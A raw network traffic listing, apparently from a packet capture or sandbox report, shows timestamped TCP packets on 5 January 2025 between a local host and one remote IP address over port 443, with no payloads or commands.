Jan 5, 2025 10:11:28.029901028 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.029923916 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.029954910 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.030138016 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.030150890 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.030162096 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.030203104 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.043994904 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.044008970 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.044085979 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.044301033 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.044312954 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.366915941 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.366981983 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.367501020 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.367506981 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.367691994 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.367697001 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.739381075 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.739430904 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.739537001 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.739552975 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.739564896 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.739597082 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.739603996 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.739615917 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.739646912 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.739681959 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.743326902 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.743402004 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.746628046 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.746699095 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.829682112 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.829850912 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.830060959 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.830096960 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.830115080 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.830123901 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.830136061 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.830157995 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.830863953 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.830914021 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.831700087 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.831752062 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.832298040 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.832341909 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.833655119 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.833715916 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.833724022 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.833767891 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.838458061 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.838557959 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.924015045 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.924104929 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.924158096 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.924171925 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.924185038 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.924212933 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.924452066 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.924513102 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.924520969 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.924575090 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.925297022 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.925342083 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.925343990 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.925352097 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.925390005 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.925400019 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.925506115 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.926188946 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.926242113 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.926250935 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.926268101 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.926294088 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.926315069 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.927200079 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.927251101 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.927274942 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.927319050 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.927331924 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.927341938 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.927366972 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.927386045 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.928174973 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.928229094 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.928237915 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.928307056 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.929807901 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.929847002 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.930119991 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.930125952 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:29.930149078 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:29.930174112 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.014600992 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.014667034 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.014698982 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.014708996 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.014719963 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.014750957 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.014770985 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.014771938 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.014780998 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.014816999 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.014836073 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.014883041 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.015160084 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.015213966 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.015477896 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.015526056 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.017647028 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.017704964 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.022070885 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.022121906 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.024771929 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.024822950 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.028702974 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.028753996 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.030755997 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.030805111 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.032973051 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.033179998 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.037467957 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.037522078 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.040137053 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.040196896 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.043927908 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.043989897 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.046087980 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.046158075 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.048315048 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.048372984 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.052669048 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.052726030 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.054825068 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.054878950 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.059256077 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.059309959 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.061417103 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.061465979 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.065900087 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.065951109 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.067975044 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.068020105 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.070218086 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.070270061 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.074588060 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.074636936 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.077032089 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.077085972 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.081157923 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.081232071 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.083368063 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.083414078 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.105223894 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105277061 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.105285883 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105329990 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.105343103 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105381966 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105381966 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.105392933 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105422974 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.105436087 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.105581045 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105619907 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105621099 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.105629921 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105693102 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.105947971 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.105997086 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.107389927 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.107470036 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.111816883 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.111885071 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.114666939 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.114722967 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.118371010 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.118426085 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.120562077 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.120618105 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.122736931 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.122792006 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.127469063 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.127535105 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.129343033 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.129396915 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.133686066 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.133739948 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.135868073 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.135917902 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.138055086 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.138113022 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.142441988 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.142487049 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.144740105 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.144795895 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.149143934 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.149194956 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.249802113 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.249870062 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.251879930 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.251941919 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.254107952 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.254158974 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.258490086 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.258552074 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.260636091 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.260734081 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.260760069 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.265065908 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.265134096 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.267040014 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.267092943 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.269277096 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.269326925 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.273505926 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.273561001 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.275755882 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.275825024 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.280106068 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.280164003 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.282293081 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.282351971 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.286659002 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.286721945 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.288711071 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.288772106 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.290834904 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.290888071 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.295047045 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.295120955 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.297166109 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.297235012 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.301402092 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.301467896 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.303458929 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.303517103 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.305645943 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.305710077 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.309742928 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.309791088 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.311830997 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.311886072 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.316145897 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.316206932 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.318233967 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.318289995 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.322438002 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.322489023 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.324472904 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.324529886 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.326550007 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.326608896 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.330780983 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.330848932 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.332920074 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.332967043 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.337074995 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.337141991 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.339126110 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.339179993 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.341347933 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.341398001 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.345372915 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.345432043 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.347475052 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.347529888 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.351492882 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.351556063 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.353493929 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.353543043 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.355525970 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.355571985 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.359273911 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.359342098 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.361180067 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.361237049 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.364960909 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.365020037 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.366734982 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.366792917 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.370368004 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.370418072 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.372211933 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.372262001 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.373889923 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.373940945 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.377538919 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.377597094 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.379209042 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.379262924 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.390121937 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.390168905 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.390187025 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.390225887 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.390244007 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.390252113 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.390269995 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.390269995 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.390291929 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.390300035 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.390311956 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.390338898 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.394480944 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.394539118 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.398287058 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.398333073 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.398417950 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.398468971 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.402395964 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.402448893 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.402465105 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.402509928 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.409209013 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.409254074 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.409262896 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.409271002 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.409301996 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.409322023 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.413094997 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.413144112 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.419332027 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.419384956 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.419399977 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.419450998 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.423810959 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.423854113 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.423877001 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.423886061 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.423921108 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.423940897 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.431909084 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.431967974 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.497443914 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.497509003 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.500780106 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.500849009 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.503036022 CET	443	62775	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:30.503091097 CET	62775	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:30.505367041 CET	443	62775	39.103.20.34	192.168.2.6
